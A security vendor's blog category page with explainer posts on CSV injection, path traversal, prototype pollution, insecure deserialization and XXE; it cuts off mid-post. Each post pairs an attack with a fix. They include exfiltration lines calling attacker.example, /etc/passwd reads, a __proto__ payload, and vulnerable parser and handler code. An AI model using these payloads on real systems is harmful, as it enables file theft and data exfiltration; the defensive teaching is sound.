Category: Injection and Input

Injection and input handling flaws: XSS, SQL injection, and related classes.

  • What is CSV injection (formula injection)?

    What is CSV injection (formula injection)?

    CSV injection is a bug where attacker controlled text saved by your app turns into a live spreadsheet formula the moment someone exports the data and opens it. It is also called formula injection. The app itself looks fine and behaves correctly, which is exactly why this class of issue is so easy to miss.

    What is CSV injection (formula injection)?

    Spreadsheet programs treat a cell as a formula when its first character is =, +, -, or @. They do this for any file, including a plain CSV that your application generated. So if a user can store a value that starts with one of those characters, and that value later lands in an exported CSV, the spreadsheet will run it as code on whoever opens the file.

    The key idea is that the danger does not live in your web app at all. Your pages render the value as harmless text. The danger appears later, in a different program, on a different machine, after the data leaves your system. That gap between where the data is stored and where it is interpreted is the whole bug.

    The vulnerability is not in the value, it is in the moment a CSV cell stops being text and starts being a formula.

    A concrete example on Acme Notes

    Imagine a note taking app called Acme Notes. Users can set a display name. The app shows that name on the dashboard and never lets it break the page, so on the web it is perfectly safe.

    A user signs up and sets their display name to a value crafted to behave as a formula:

    Display name: =IMPORTDATA("https://attacker.example/x?d="&A2)

    On the website this is just a weird string. It sits in the database. It renders as plain text in the user list. Nothing fires.

    Now an admin opens the internal users page and clicks Export to CSV. The export writes one row per user, and the display name column contains that exact string. The admin double clicks the downloaded file and the spreadsheet opens it. The first character is =, so the cell is evaluated. Two outcomes are common:

    • Data exfiltration via web requests. Functions like IMPORTDATA, WEBSERVICE, or HYPERLINK can fetch a URL. The attacker concatenates the contents of a neighboring cell into that URL, so the spreadsheet quietly sends another user’s email or token to a server the attacker controls.
    • Command execution via legacy DDE. Older spreadsheet setups support Dynamic Data Exchange, where a cell starting with = could launch an external program. At a high level, a crafted cell asks the spreadsheet to start a process on the admin machine. Modern versions warn or block this, but legacy and misconfigured installs still run it.

    The person who gets hit is not the attacker. It is the admin who trusted an export from their own product. That is what makes formula injection worth taking seriously.

    Why this is an output encoding problem

    It helps to name the real defect. This is an output encoding bug, the same family as cross site scripting, just aimed at a spreadsheet instead of a browser. Your app accepted text and stored it correctly. The mistake happens when you write that text into a CSV without encoding it for the program that will read it.

    A browser interprets <script>. A spreadsheet interprets a leading =. In both cases the fix is the same shape: encode data for the context it is about to enter. A CSV opened in Excel or Google Sheets is an executable context, so it needs its own escaping.

    Why scanners often miss it

    Most automated scanners poke the live application and read the response. They look at rendered pages and API replies. By that measure Acme Notes passes. The stored name is escaped in HTML, there is no error, no reflected payload, no broken markup. The dangerous behavior only shows up after an export, in a separate program, triggered by a human action the scanner never performs. A pattern matcher that only watches HTTP responses has nothing to flag.

    The fix in code

    The reliable fix is at export time, because that is the context where the value becomes dangerous. When you build each CSV cell, neutralize any value that starts with a formula trigger. The common approach is to prefix risky cells with a single quote, or to escape the leading character so the spreadsheet treats the cell as text.

    Dangerous cell written straight to the CSV:
    =IMPORTDATA("https://attacker.example/x?d="&A2)
    
    Safe cell after sanitizing on export:
    '=IMPORTDATA("https://attacker.example/x?d="&A2)
    
    Sanitizer applied to every exported field:
    def safe_csv_field(value):
        text = str(value)
        if text and text[0] in ('=', '+', '-', '@', '\t', '\r'):
            return "'" + text
        return text

    Three layers work together:

    • Escape on export. Prefix any cell starting with =, +, -, @, a tab, or a carriage return with a single quote. This is the load bearing fix and it covers every field.
    • Validate on input where it fits. If a field has no business starting with a formula character, such as a display name or a phone number, reject or clean it when it is saved. Treat this as defense in depth, not your only control.
    • Set a safe export format. Quote every field, write a UTF8 byte order mark, and prefer a format that does not auto evaluate. Document that exports are data, not trusted spreadsheets.

    One caution. Prefixing with a single quote changes the displayed value slightly, so apply it during CSV generation rather than mutating the stored record. The database should keep the real value, and only the exported copy gets the guard.

    How to detect it

    You can find this yourself without any special tooling:

    • List every field a user can control: names, descriptions, notes, addresses, support messages.
    • Set one of those fields to a benign probe like =1+1 or =HYPERLINK("https://example.com","click").
    • Trigger every export path in the product, then open the file in a real spreadsheet and watch for a cell that evaluates instead of showing the literal text.
    • Check email reports and scheduled exports too, since those reach people who never see the app.

    If =1+1 shows up as 2, the field is injectable and your export needs the guard above.

    Where this fits in finding bugs

    Formula injection is a clean example of a flaw you only see when you understand how the data flows, from a user form to a stored record to an export to a spreadsheet on someone else’s machine. A checklist of known payloads against the live page will say everything is fine. This is the kind of assumption gap an autonomous researcher that tests how an app is actually used, rather than matching patterns, is built to find. For more on input handling bugs, see our injection and input category, and you can read what we are building on the about page.

    Frequently asked questions

    Is CSV injection the same as formula injection?

    Yes, the two names describe the same bug. Attacker controlled text saved by your app becomes a live spreadsheet formula the moment someone exports the data and opens it in a program like Excel or Google Sheets. The trigger is a cell whose first character is =, +, -, or @.

    Why do web vulnerability scanners usually miss CSV injection?

    Most scanners poke the live application and read the HTTP response, where the stored value renders as harmless escaped text. The dangerous behavior only appears later, in a separate spreadsheet program, after a human triggers an export and opens the file. A pattern matcher that only watches responses has nothing to flag.

    How do you fix CSV injection without breaking stored data?

    Sanitize at export time, not in the database. When you build each CSV cell, prefix any value that starts with =, +, -, @, a tab, or a carriage return with a single quote so the spreadsheet reads it as text. Keep the real value in the database and apply the guard only to the exported copy. OWASP describes the same approach in its CSV Injection guide.

    Who actually gets harmed by a CSV injection bug?

    Usually not the attacker but the person who opens the export, often an admin who trusted a file from their own product. A formula like one using IMPORTDATA can quietly send a neighboring cell, such as another user’s email or token, to a server the attacker controls, all on the admin’s machine.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is path traversal?

    What is path traversal?

    A path traversal bug lets an attacker step out of the folder your app meant to serve and read files it never intended to share. It shows up when an app takes a file name from the URL, like ?file=invoice.pdf, and hands it straight to the file system. Change that value to ../../etc/passwd and the same code that served an invoice now reads a system password file. This post explains how the bug works from zero, also called directory traversal, and how to shut it down.

    What is path traversal in plain terms

    Most web apps store files on disk and let users fetch them by name. A download endpoint might map a request to a folder like /var/www/files/ and tack the requested name onto the end. That is fine until the name contains the sequence ../, which means “go up one directory.” Each ../ climbs one level toward the root of the disk. Stack enough of them and you escape the intended folder.

    Here is the shape of the request. A normal one looks like this:

    GET /download?file=invoice.pdf HTTP/1.1
    Host: acme-notes.example

    The server reads /var/www/files/invoice.pdf and returns it. Now the attacker sends this instead:

    GET /download?file=../../../../etc/passwd HTTP/1.1
    Host: acme-notes.example

    The server joins the path and ends up reading /etc/passwd from the disk root. Nothing about the request looks malformed. It is the same parameter, the same code path, just a different value. That is what makes path traversal easy to miss in a quick test.

    The file name in a URL is user input. The moment it touches a file API without being checked against a fixed base directory, the whole disk is in scope.

    What an attacker can actually read

    The damage depends on what the app can reach on the host. Common targets include:

    • Source code. Reading your own application files, like ../config/database.yml or ../../app/settings.py, exposes logic and secrets in one shot.
    • Config and credentials. Files such as .env, cloud credential files, and database config often sit a few folders above the served directory.
    • Secrets and keys. Private keys, API tokens, and session signing keys turn a read bug into account takeover or full server access.
    • System files. On Unix, /etc/passwd confirms the bug and lists user accounts. On Windows, files like C:\Windows\win.ini serve the same proof.

    A read primitive sounds limited. In practice, reading the right config file once is enough to pivot into the database or the cloud account.

    Encoding tricks at a high level

    Apps that try to block traversal with a simple text filter often check for the literal string ../ and stop there. Attackers get around that by encoding the same characters so the filter does not recognize them, while the file system still decodes them back to ../ later.

    • Percent encoding. A dot can be written as %2e, so ../ becomes %2e%2e%2f. A naive filter scanning for dots and slashes sees nothing.
    • Double encoding. Encode the percent sign itself and you get %252e. If one layer of the stack decodes once and passes it on, a second decode step turns it back into a dot.
    • Null bytes, historically. Older platforms truncated a string at a null byte (%00), so secret.key%00.pdf could pass a .pdf check and still open secret.key. Modern runtimes mostly closed this, but legacy code and native libraries can still be exposed.

    The lesson is not to memorize each trick. Filtering for bad strings is the wrong model. You cannot list every encoding of ../. You have to validate the resolved path instead, which I cover below.

    Windows versus Unix paths

    Path separators differ by platform, and that matters for both attack and defense. Unix uses the forward slash /. Windows accepts both the backslash \ and the forward slash, so ..\..\..\windows\win.ini and ../../../windows/win.ini can both work. A filter that only looks for ../ misses the backslash form on a Windows host. Windows also has drive letters and UNC paths, which give attackers more ways to name an absolute location. If your defense assumes one separator, it is already incomplete on the other platform.

    The link to local file inclusion

    Path traversal is about reading a file off disk. Local file inclusion, or LFI, goes a step further: the app does not just read the file, it executes or interprets it. In a templating or scripting setup, a traversal that points at a file the engine will run can turn a read bug into code execution. The same untrusted file name reaches a more dangerous sink. So when you find a traversal, ask what the app does with the file after reading it. If it ever interprets the contents, the impact jumps from disclosure to execution.

    A vulnerable endpoint and a fixed version

    Here is a download handler written the wrong way, then the same handler with the holes closed. The vulnerable version joins user input straight onto a base path:

    // VULNERABLE: user input reaches the file API directly
    const path = require('path');
    const fs = require('fs');
    
    app.get('/download', (req, res) => {
      const base = '/var/www/files';
      const filePath = base + '/' + req.query.file;   // ../../etc/passwd escapes base
      res.sendFile(filePath);
    });

    The fixed version resolves the full path, confirms it still sits inside the base directory, and only serves names from a known set:

    // FIXED: canonicalize, verify containment, allowlist the name
    const path = require('path');
    const fs = require('fs');
    
    const BASE = path.resolve('/var/www/files');
    const ALLOWED = new Set(['invoice.pdf', 'receipt.pdf', 'terms.pdf']);
    
    app.get('/download', (req, res) => {
      const requested = path.basename(req.query.file || '');  // strip any directory parts
    
      if (!ALLOWED.has(requested)) {
        return res.status(404).send('Not found');
      }
    
      const resolved = path.resolve(BASE, requested);
    
      // Containment check: resolved path must stay inside BASE
      if (resolved !== BASE && !resolved.startsWith(BASE + path.sep)) {
        return res.status(400).send('Bad request');
      }
    
      res.sendFile(resolved);
    });

    Three things make the fixed version safe. It canonicalizes the path with path.resolve, which collapses every ../ into a real absolute location, so encoded or stacked traversals all reduce to one concrete path you can check. It then verifies containment, confirming the resolved path still starts with the base directory before any read happens. And it uses an allowlist of known names, so anything outside that set is refused before path logic runs. The rule underneath all three: never pass raw user input to a file API.

    How to detect and prevent it

    Detection starts with finding every place a request value reaches the file system. Look for download, export, preview, avatar, and report endpoints, and any code that builds a path by joining strings. Then test those values with traversal sequences and their encoded forms, watching for a system file in the response or an error that leaks a path.

    Prevention checklist

    • Resolve, then verify. Canonicalize the full path and confirm it stays inside the intended base directory. Reject anything that does not.
    • Prefer an allowlist. Map requests to a fixed set of known names or IDs rather than accepting arbitrary file names.
    • Strip directory parts. Reduce input to a bare file name with a function like basename so separators cannot survive.
    • Decode fully before checking. Validate after all decoding is done, so %2e%2e and double encoded forms cannot slip past a string filter.
    • Handle both separators. Account for / and \, drive letters, and absolute paths, especially on Windows hosts.
    • Least privilege on disk. Run the app as a user that cannot read secrets or system files, so a bug that slips through still reads little.

    The reason this bug survives is that the app’s assumption, “the file name only ever points inside this folder,” is never enforced at the line where the file is read. Testing that assumption directly is exactly the kind of work an autonomous security researcher that tests assumptions is built for. If you want more on this family of issues, the injection and input category collects related reads. Find your file endpoints, resolve and check every path, and the whole class goes away.

    Frequently asked questions

    Is path traversal the same as local file inclusion?

    They are related but not identical. Path traversal lets an attacker read a file off disk that should be out of reach, while local file inclusion goes further and makes the app execute or interpret that file. If you find a traversal, check what the app does with the file after reading it, because a read bug becomes code execution when the contents are later run.

    Why does filtering for ../ fail to stop path traversal?

    Because there are too many ways to write the same sequence. Attackers use percent encoding like %2e%2e%2f, double encoding like %252e, and on Windows the backslash form ..\, all of which a literal string filter misses. The reliable fix is to canonicalize the full path and confirm it still sits inside your intended base directory before any read happens.

    How is path traversal different on Windows versus Unix?

    Unix uses the forward slash, but Windows accepts both the backslash and the forward slash, plus drive letters and UNC paths, so it offers more ways to name an absolute location. A filter that only looks for ../ misses the ..\ form on a Windows host, so any defense that assumes one separator is already incomplete on the other platform.

    What is the most reliable way to prevent path traversal?

    Resolve the full path first, then verify it still starts with your base directory, and prefer mapping requests to an allowlist of known names or IDs over accepting arbitrary file names. Running the app with least privilege on disk limits what a missed case can reach. MITRE tracks this weakness as CWE-22.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is prototype pollution?

    What is prototype pollution?

    Prototype pollution is a JavaScript bug where an attacker writes to the shared prototype that almost every object inherits from, and that one write quietly changes objects all over your app. It usually starts with untrusted JSON and a helper that copies fields into an object without checking the key names. The result is a property that appears on data you never touched, which is how prototype pollution turns a harmless merge into privilege escalation, a crash, or a step toward worse.

    What an object prototype actually is

    In JavaScript every object has a hidden link to another object called its prototype. When you read a property that the object does not have, the engine walks up that chain and checks the prototype next. Most plain objects you create with {} link to one shared object: Object.prototype.

    Here is the part that matters. There is one Object.prototype for the whole runtime. Every {} you make, every parsed JSON object, every options bag passed around your code, all of them inherit from that same object. So if an attacker can add a property to Object.prototype, that property shows up as a default on millions of objects at once.

    Two doors lead to that shared object. The first is __proto__, an accessor that points at an object’s prototype. Reading obj.__proto__ gives you the prototype. Writing obj.__proto__.isAdmin = true sets a property on the prototype itself, not on obj. The second door is constructor.prototype. From any object you can reach obj.constructor, which for a plain object is Object, and Object.prototype from there. Both paths land on the same shared object.

    How prototype pollution happens in real code

    The classic source is a recursive merge that copies user supplied JSON into an existing object. Imagine a small invented app, Acme Notes, that lets users save preferences. The server merges the posted JSON onto a defaults object:

    function merge(target, source) {
      for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
          if (typeof target[key] !== 'object') target[key] = {};
          merge(target[key], source[key]);   // recurse with attacker controlled key
        } else {
          target[key] = source[key];
        }
      }
      return merge;
    }
    
    // defaults the server trusts
    const prefs = { theme: 'light' };
    
    // body posted by the user
    const body = JSON.parse(req.body);
    merge(prefs, body);
    

    Now the attacker posts this body:

    { "__proto__": { "isAdmin": true } }
    

    The loop hits the key __proto__, sees an object value, and recurses into target["__proto__"], which is Object.prototype. It then sets isAdmin = true on the prototype. The user’s own prefs object looks untouched. But Object.prototype.isAdmin is now true for the entire process.

    The attacker never edits the object you are looking at. They edit the default that every other object falls back to, and you read that default by accident later.

    Why the polluted property leaks everywhere

    Later, in code that has nothing to do with preferences, someone checks a fresh object:

    const session = {};            // a brand new, empty object
    if (session.isAdmin) {
      grantAdminAccess();          // runs, because the property is inherited
    }
    

    session has no own isAdmin key, so the engine walks the prototype chain, finds isAdmin = true on Object.prototype, and returns it. The check passes. That is privilege escalation from a single preferences write, and the two pieces of code may live in different files written by different people.

    The other shapes of damage

    • Denial of service. Pollute a property that core libraries read, such as a numeric or function valued field, and unrelated objects start failing type checks or throwing. A few bytes of JSON can crash a worker on every request.
    • Gadget toward code execution. On its own a polluted property is just a default value. The danger is when that default flows into a sink that later treats it as code or as a config that controls a child process or a template. If a templating engine reads an inherited option, or a command runner reads inherited arguments, the polluted value becomes the input to that sink. We will keep this at a high level: the lesson is that a write you think is contained can reach a dangerous place because so much code reads from the shared prototype.

    Fixing the vulnerable merge

    The same merge becomes safe once you refuse the dangerous keys and stop trusting inherited properties. Several defenses stack together:

    const BANNED = new Set(['__proto__', 'constructor', 'prototype']);
    
    function safeMerge(target, source) {
      for (const key of Object.keys(source)) {     // own keys only
        if (BANNED.has(key)) continue;             // reject the doors
        const value = source[key];
        if (value && typeof value === 'object' && !Array.isArray(value)) {
          if (typeof target[key] !== 'object' || target[key] === null) {
            target[key] = Object.create(null);     // no prototype to pollute
          }
          safeMerge(target[key], value);
        } else {
          target[key] = value;
        }
      }
      return target;
    }
    

    What each piece buys you:

    • Block __proto__, constructor, and prototype keys. This shuts both doors to the shared prototype. Reject the whole request rather than silently dropping the key, so abuse is visible.
    • Use Object.create(null) for bags of user data. An object with a null prototype has no inherited isAdmin to leak and no __proto__ accessor to abuse. Lookups return only own keys.
    • Prefer a Map over a plain object for key value data from users. A Map stores keys as real entries, so __proto__ is just a string key with no special meaning and no prototype chain to walk.
    • Freeze the prototype. Object.freeze(Object.prototype) at startup makes the shared object read only, so even a missed sink cannot write to it. Test this, since some libraries expect to extend prototypes.
    • Validate against a schema. Define the exact fields you accept and their types, then drop everything else. A schema that allows only theme and fontSize never lets __proto__ through in the first place.

    How to detect and prevent it

    Detection starts with knowing where untrusted data meets object writes. Look for these patterns:

    • Recursive merge, deep clone, deep assign, or set(obj, path, value) helpers that accept user controlled keys or dotted paths like a.b.c.
    • Any spot where JSON.parse output flows straight into a merge or into bracket assignment obj[key] = value.
    • Query string parsers that build nested objects, since ?__proto__[isAdmin]=true is the URL version of the same attack.

    To prevent it, treat all three steps as one job: reject dangerous keys at the boundary, validate input against a strict schema, and use prototype free structures (Object.create(null) or Map) for user data. Freeze Object.prototype as a backstop. Keep dependencies patched, because popular merge and path setting libraries have shipped and fixed this exact bug more than once. For a wider view of input driven bugs, see our injection and input writeups, since prototype pollution sits in that family.

    Why this bug rewards understanding over pattern matching

    Prototype pollution is rarely visible in one file. The write happens in a preferences endpoint and the payoff happens in an auth check two modules away, so a tool that only matches known payloads can miss the link entirely. Finding it means understanding what the app assumes, that a new empty object is truly empty, and then testing whether that assumption holds. This is the kind of assumption gap an autonomous researcher that experiments and verifies is built to find. If you want to see how UnboundCompute approaches that, read more about how it works.

    Frequently asked questions

    Can prototype pollution lead to remote code execution?

    Not on its own, but it can. A polluted property is just a default value until it flows into a sink that treats it as code or config, such as a template engine or a command runner that reads an inherited option. When that happens, the value you thought was contained becomes the input to a dangerous operation, which is why the bug is rated higher than a simple data tampering issue.

    What is the difference between __proto__ and constructor.prototype in this attack?

    Both are paths that reach the same shared Object.prototype, so polluting through either one affects every plain object in the runtime. __proto__ is a direct accessor for an object’s prototype, while constructor.prototype reaches it by going through the object’s constructor first. A good defense blocks the keys __proto__, constructor, and prototype together rather than just one.

    Does using Object.create(null) actually stop prototype pollution?

    It removes the prototype chain for that one object, so there is no inherited isAdmin to leak and no __proto__ accessor to abuse on it. It is a strong control for bags of user data, but it does not protect objects elsewhere in your code, so pair it with key filtering and schema validation. See the PortSwigger Web Security Academy guide on prototype pollution for the wider attack surface.

    Why do automated scanners often miss prototype pollution?

    The write happens in one place, like a preferences endpoint, and the payoff happens in a separate auth or config check that may live in another file. A tool that only matches known payloads against a single response cannot see that the two are connected, so finding the bug means understanding what the app assumes about fresh objects being empty.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is insecure deserialization?

    What is insecure deserialization?

    Most web apps need to save an object now and rebuild it later. Saving it as bytes is called serialization. Turning those bytes back into a live object is deserialization. Insecure deserialization is what happens when an app rebuilds objects from bytes it does not trust, like a cookie or a request body a user controls, and treats the result as if the app itself had created it.

    What serialization and deserialization actually are

    Serialization turns a structure in memory into a flat string of bytes you can store on disk or send over the network. Deserialization is the reverse step. Your app reads the bytes and reconstructs the object so it can call methods on it and read its fields.

    Here is the part that trips people up. The bytes are not just data. In many languages they carry type information, field values, and sometimes instructions about which classes to build and which methods to run while building them. When the bytes come from a place the user can change, you are letting the user influence what your program constructs.

    If untrusted bytes can decide which objects your code builds, the user is no longer sending you data. The user is sending you a program.

    Why insecure deserialization is dangerous

    An app usually treats a freshly deserialized object as trustworthy. It assumes the fields are sane and the types are the ones it expected. An attacker who controls the input breaks both assumptions. There are two distinct levels of damage, and it helps to keep them separate.

    Level one: data tampering

    The simpler attack just edits values inside the serialized blob. Say a session cookie stores a small object describing the logged in user. If the app serializes it in a readable format and does not sign it, the user can decode it, change one field, and send it back. A field that said role=user becomes role=admin. No code execution, no exotic tricks. The app deserializes the edited object and grants access it never meant to grant.

    Level two: remote code execution through gadget chains

    The serious version uses the deserialization step itself to run code. Some languages run special methods automatically while rebuilding an object, for example a setup or cleanup hook. A gadget is an existing class already on the app’s classpath whose automatic method does something useful to an attacker, like reading a file or calling another method. A gadget chain stitches several of these together so that simply rebuilding a crafted object kicks off a sequence that ends in command execution.

    The important high level point: the attacker is not uploading new code. They are arranging classes the app already ships so that the act of deserializing runs them in an order the authors never intended. That is why this class of bug can jump from “changed a value” to “ran a shell command” with the same root cause. (No working chain is shown here on purpose. The defense is the same either way.)

    Where insecure deserialization shows up

    This is a language wide problem, not a single bad function. It appears anywhere an app turns attacker reachable bytes back into objects:

    • Java: ObjectInputStream.readObject() on data from a request, cookie, or message queue.
    • PHP: unserialize() on a value the client controls, which can trigger magic methods like __wakeup and __destruct.
    • Python: pickle.loads() on untrusted input. Pickle is documented as unsafe for this and can run arbitrary code by design.
    • .NET: formatters such as BinaryFormatter and some configurations of Json.NET that resolve types from the payload.
    • JSON with type hints: a $type or _class field that tells the parser which concrete class to build. Plain JSON is just data, but type aware deserialization brings the same risks back.
    • Cookies and sessions: any session token that stores a serialized object instead of an opaque id pointing at server side state.

    A tampered session, and a safer design

    Below is a readable, unsigned session value, the edited version an attacker would send, and an opaque token that removes the whole problem. This is intentionally generic and shows the shape, not a payload.

    # Original session cookie (readable, not signed)
    session = {"uid": 4181, "role": "user", "plan": "free"}
    encoded = base64("{\"uid\":4181,\"role\":\"user\",\"plan\":\"free\"}")
    
    # Attacker decodes, edits one field, encodes again, sends it back
    tampered = base64("{\"uid\":4181,\"role\":\"admin\",\"plan\":\"free\"}")
    # Server deserializes and now believes the user is an admin
    
    # Safer: opaque id, real data stays on the server
    set_cookie("sid", random_256_bit_id())     # nothing meaningful to edit
    session = store.lookup(sid)                 # role comes from the database
    
    # If a token must carry claims, sign it and verify before trusting it
    token  = sign(payload, server_secret)
    claims = verify(token, server_secret)       # reject on bad signature
    
    # Never feed untrusted bytes to a native object builder
    pickle.loads(request.body)                  # unsafe by design
    data = json.loads(request.body)             # plain data, no type hints, then validate
    

    The opaque id works because there is nothing inside the cookie worth editing. The signed token works because any edit breaks the signature and the server refuses it. The last line works because plain JSON parsing returns a dictionary, not a reconstructed class with hidden behavior.

    How to detect it

    • Grep for the dangerous calls. Search the codebase for readObject, unserialize, pickle.loads, BinaryFormatter, and type aware JSON settings. Then ask where each input comes from.
    • Trace the source of the bytes. A deserialization call on a config file you ship is fine. The same call on a cookie, header, upload, or queue message is the risk.
    • Watch for telltale prefixes. Java serialized data often starts with the bytes ac ed 00 05, and base64 of that begins with rO0. Seeing that in a cookie is a strong hint. When you have an unknown blob in hand, our free file entropy and magic byte analyzer reads its leading bytes and entropy so you can tell a serialized object from plain compressed or encrypted data.
    • Test assumptions, not just signatures. Flip a role field or swap a declared type and see whether the app still trusts the object. That is exactly the kind of assumption a careful review checks.

    How to prevent it

    • Do not deserialize untrusted input into native objects. This is the core fix. Use plain data formats like JSON or a strict schema, then validate fields by hand.
    • Use opaque session ids. Keep user role and permissions on the server, keyed by a random id, so the client holds nothing worth tampering with.
    • Sign anything the client carries. If a token must hold claims, sign it and verify the signature before reading a single field.
    • Allowlist types if you truly need typed deserialization. Restrict which classes the deserializer is allowed to build, and reject everything else by default.
    • Add integrity and isolation. Authenticate and encrypt stored objects, run parsers with low privileges, and keep dependencies patched so known gadget classes are gone.

    For more on input that crosses a trust boundary, see our injection and input category, which groups the bugs that share this root cause.

    Why this bug rewards understanding the app

    Insecure deserialization is rarely found by throwing a fixed list of payloads at a target. It depends on which format the app uses, which classes it ships, and which fields it trusts after rebuilding an object. You find it by understanding what the app assumes and then testing whether those assumptions hold.

    That is the kind of bug an autonomous researcher built to test assumptions is meant to catch. In early work, a frontier model drove that full method on its own and identified and verified real access control and injection issues in test apps it had not seen before. That is an encouraging early signal, not a benchmark. You can read more about the approach on our about page.

    Frequently asked questions

    What is insecure deserialization?

    Insecure deserialization is what happens when an app rebuilds objects from bytes it does not trust, like a cookie or a request body a user controls, and treats the result as if the app itself had created it. In many languages those bytes carry type information and instructions about which classes to build, so the user is influencing what the program constructs. See the MITRE CWE 502 entry for the formal definition.

    Can insecure deserialization lead to remote code execution?

    Yes. Some languages run special methods automatically while rebuilding an object, and a gadget chain stitches together classes already on the app’s classpath so that simply deserializing a crafted object kicks off a sequence ending in command execution. The attacker uploads no new code, they just arrange classes the app already ships in an order the authors never intended.

    How do you prevent insecure deserialization?

    Do not deserialize untrusted input into native objects. Use plain data formats like JSON and validate fields by hand, keep user role and permissions on the server behind an opaque session id, and sign anything the client carries so any edit breaks the signature. If you truly need typed deserialization, allowlist which classes may be built and reject the rest.

    How do you spot a Java serialized object in a request?

    Java serialized data often starts with the bytes ac ed 00 05, and the base64 form of that begins with rO0. Seeing that prefix in a cookie or header is a strong hint that the app is feeding client controlled bytes to an object builder.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is XXE injection and how does it work?

    What is XXE injection and how does it work?

    XXE injection is a bug that lets an attacker abuse the way an application reads XML. If a parser is set up to resolve external entities, a request that looks like ordinary data can ask the server to open local files, reach internal services, or quietly leak data to a server the attacker controls. This post teaches xxe injection from zero: what XML and a DTD are, what an external entity does, a vulnerable parser, and the small config changes that shut the whole class down.

    Start with the parts: XML, DTD, and entities

    XML is a text format for structured data. Tags wrap values, and the result looks like this:

    <?xml version="1.0"?>
    <order>
      <item>notebook</item>
      <qty>3</qty>
    </order>

    A DTD (Document Type Definition) is an optional block at the top of an XML document that declares rules and reusable pieces. You start it with a <!DOCTYPE> line. Inside a DTD you can define an entity, which is a named shortcut. A normal internal entity is just text substitution:

    <?xml version="1.0"?>
    <!DOCTYPE order [
      <!ENTITY company "Acme Notes">
    ]>
    <order><buyer>&company;</buyer></order>

    The parser sees &company; and swaps in Acme Notes. So far this is harmless. The danger starts with one extra keyword.

    What an external entity is

    An external entity uses the SYSTEM keyword to pull its value from somewhere outside the document, named by a URI. The parser fetches that URI and inlines whatever comes back. That URI can be a file path or a network address:

    <!ENTITY secret SYSTEM "file:///etc/passwd">

    If the parser resolves that entity, it reads the file and substitutes the contents. The attacker never touched the disk. They just sent XML, and a misconfigured parser did the reading for them.

    How xxe injection actually works against a vulnerable parser

    Imagine a typical SaaS app, call it Acme Notes, with an endpoint that accepts an XML body to import notes. The backend parses it with default settings. In Java that often looks like this:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(request.getInputStream());

    Nothing here disables external entities, so the parser will resolve them. The attacker sends this body to the import endpoint:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY leak SYSTEM "file:///etc/passwd">
    ]>
    <note><title>&leak;</title></note>

    The parser reads /etc/passwd and places its contents into the title field. If the app echoes that title back, in a confirmation message or an error, the attacker reads the file in the response. That is the classic file read, and it works because the app trusted the XML to be plain data.

    The vulnerability is not in the XML. It is in a parser that was told it may go fetch whatever a document points at.

    SSRF through XXE

    The external entity URI does not have to be a file. Swap the path for an internal address and the server makes the request for you:

    <!ENTITY leak SYSTEM "http://169.254.169.254/latest/meta-data/">

    Now the parser sends an HTTP request from inside the network, to a host the attacker could never reach directly. This is server side request forgery (SSRF) riding on top of XXE. It can hit cloud metadata endpoints, internal admin panels, or services that assume any caller from inside the perimeter is trusted.

    Blind XXE and out of band exfiltration

    Often the app does not echo the parsed value back. There is no field that returns to the attacker, so the file read seems dead. This is blind XXE, and the fix from the attacker side is to send the data somewhere else instead of waiting for it in the response.

    The trick uses an external DTD. The malicious document points at a DTD hosted on a server the attacker controls:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY % remote SYSTEM "http://attacker.example/evil.dtd">
      %remote;
    ]>
    <note><title>ok</title></note>

    That remote evil.dtd reads a local file, then builds a URL with the file contents glued into it and forces the parser to request that URL. The attacker reads the file out of their own web server logs. Nothing came back in the HTTP response, so this is out of band (OOB) exfiltration. I am describing the shape at a high level on purpose. The point is that blind does not mean safe.

    How to prevent xxe injection

    The good news: this whole class has one root cause and one clean fix. The application almost never needs external entities or a DOCTYPE in user supplied XML. Turn them off and the attack has nothing to stand on.

    • Disable DOCTYPE entirely when you can. If the parser refuses any document with a <!DOCTYPE>, every entity trick above stops at the door.
    • Disable external entities and external DTD loading as a second layer, in case some flow needs DOCTYPE.
    • Prefer a simpler format. If the endpoint only ever receives small structured records, JSON sidesteps entities completely.
    • Patch every parser, not just one. Apps often parse XML in several places, including SOAP, SVG uploads, office document handling, and SAML. One safe parser does not protect the others.

    Safe parser config

    Here is the same Java factory, locked down. The first line is the one that matters most:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder db = dbf.newDocumentBuilder();

    The same idea carries to other stacks. In Python with lxml, build the parser with etree.XMLParser(resolve_entities=False, no_network=True), or use the defusedxml library, which ships with these defenses on. In .NET, set XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. In PHP with libxml, avoid loading external entities and keep network access off. The wording differs per language, but the goal is identical: no DOCTYPE, no external entities, no network fetches during parsing.

    One more habit. Do not rely on a web application firewall to spot these payloads. XML has many encodings and an attacker can nest entities or split the DOCTYPE to dodge a signature. A firewall is a speed bump. The parser config is the wall. For more on injection style bugs and how input crosses a trust boundary, see our writeups under Injection and Input.

    Why this is easy to miss

